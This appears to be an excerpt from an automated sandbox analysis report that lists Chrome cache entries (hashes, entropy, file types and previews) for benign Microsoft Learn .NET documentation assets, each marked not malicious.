Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	179328
Entropy (8bit):	5.435214716283537
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVh:Wof3G0NSkNzMeO7z/l3h
MD5:	9AAA131F34337E930B99FC2A183CD7C8
SHA1:	531725F3A406D8ACE021F5048FDC8ABE7C999240
SHA-256:	047241CD288B327E265C49B6AF8226FF309F1EAA38C7A10AE1F965CDE3BD64B1
SHA-512:	8C3822816E6EC67E83B8CED11F8125E5F07FFF82B6B584F789A0DBCE52D88A04861152EBDB930C5EA12D6289BB8D905F3A044688ABFC0FB614F4AF311C137D52
Malicious:	false
